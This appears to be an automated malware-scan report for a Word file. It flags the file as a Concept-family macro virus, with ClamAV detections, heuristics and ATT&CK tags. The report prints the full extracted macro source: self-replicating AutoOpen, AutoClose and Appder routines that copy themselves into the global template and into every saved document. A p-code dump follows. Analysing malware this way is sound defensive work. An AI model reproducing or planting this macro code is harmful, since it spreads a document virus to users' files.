MALICIOUS
260
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This file exhibits characteristics of the Concept macro virus family, including legacy WordBasic macros and the presence of AutoOpen and AutoClose subroutines. The ClamAV detection 'Doc.Trojan.Concept-28' and the embedded artifact detection 'Doc.Trojan.Appder-1' strongly indicate its malicious nature. The macros are designed to copy themselves to other documents, a common propagation technique for this family.
Heuristics 5
-
ClamAV: Doc.Trojan.Concept-28 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Concept-28
-
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10635 bytes |
SHA-256: 5a45e1ef2b8b6ce8150db83fb4ab93fbce81647e9dc150718d947de2eeeb327d |
|||
|
Detection
ClamAV:
Doc.Trojan.Appder-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Option Explicit
'Virus - NTTHNTA
Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
AClose = -1
End If
If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
Ad = -1
End If
Next i
If Not AClose And Not Ad Then
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy sMacro$, "Global:Appder"
sMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub
Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
End Sub 'Funyour
Attribute VB_Name = "Appder"
Option Explicit
'Virus - NTTHNTA
Public Sub MAIN()
Dim iMacroCount
Dim i
Dim AClose
Dim Ad
Dim sMe$
Dim sMacro$
Funyour
On Error GoTo -1: On Error GoTo Quit
iMacroCount = WordBasic.CountMacros(0, 0)
For i = 1 To iMacroCount
If WordBasic.[MacroName$](i, 0, 0) = "AutoClose" Then
AClose = -1
End If
If WordBasic.[MacroName$](i, 0, 0) = "Appder" Then
Ad = -1
End If
Next i
If Not AClose And Not Ad Then
sMe$ = WordBasic.[FileName$]()
sMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy sMacro$, "Global:Appder"
sMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy sMacro$, "Global:AutoClose"
End If
Quit:
End Sub
Private Sub Funyour()
Dim WOpen$
Dim sales
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", " NTTHNTA", "WINWORD6.INI")
sales = WordBasic.Val(WOpen$) + 1
WordBasic.SetPrivateProfileString "Microsoft Word", "NTTHNTA", Str(sales), "WINWORD6.INI"
WOpen$ = WordBasic.[GetPrivateProfileString$]("Microsoft Word", "NTTHNTA", "WINWORD6.INI")
End Sub 'Funyour
Attribute VB_Name = "AutoClose"
Option Explicit
' Virus - NTTHNTA
Public Sub MAIN()
Dim sMe$
Dim sTMacro$
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
On Error GoTo -1: On Error GoTo Quit
WordBasic.CurValues.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
sMe$ = WordBasic.[FileName$]()
sTMacro$ = sMe$ + ":AutoOpen"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":Appder"
WordBasic.MacroCopy "Global:Appder", sTMacro$
sTMacro$ = sMe$ + ":AutoClose"
WordBasic.MacroCopy "Global:AutoClose", sTMacro$
WordBasic.FileSaveAs dlg
GoTo Done
Quit:
If Err.Number <> 102 Then
WordBasic.FileSaveAs dlg
End If
Done:
End Sub
' Processing file: /opt/analyzer/scan_staging/8f999fb87d8d476fb699580618074c30.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2738 bytes
' Line #0:
' Option (Explicit)
' Line #1:
' Line #2:
' Line #3:
' QuoteRem 0x0000 0x000F "Virus - NTTHNTA"
' Line #4:
' Line #5:
' FuncDefn (Public Sub MAIN())
' Line #6:
' Dim
' VarDefn iMacroCount
' Line #7:
' Dim
' VarDefn i
' Line #8:
' Dim
' VarDefn AClose
' Line #9:
' Dim
' VarDefn Ad
' Line #10:
' Dim
' VarDefn sMe
' Line #11:
' Dim
' VarDefn sMacro
' Line #12:
' ArgsCall Funyour 0x0000
' Line #13:
' OnError <crash>
' BoS 0x0000
' OnError Quit
' Line #14:
' LitDI2 0x0000
' LitDI2 0x0000
' Ld WordBasic
' ArgsMemLd CountMacros 0x0002
' St iMacroCount
' Line #15:
' StartForVariable
' Ld i
' EndForVariable
' LitDI2 0x000
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.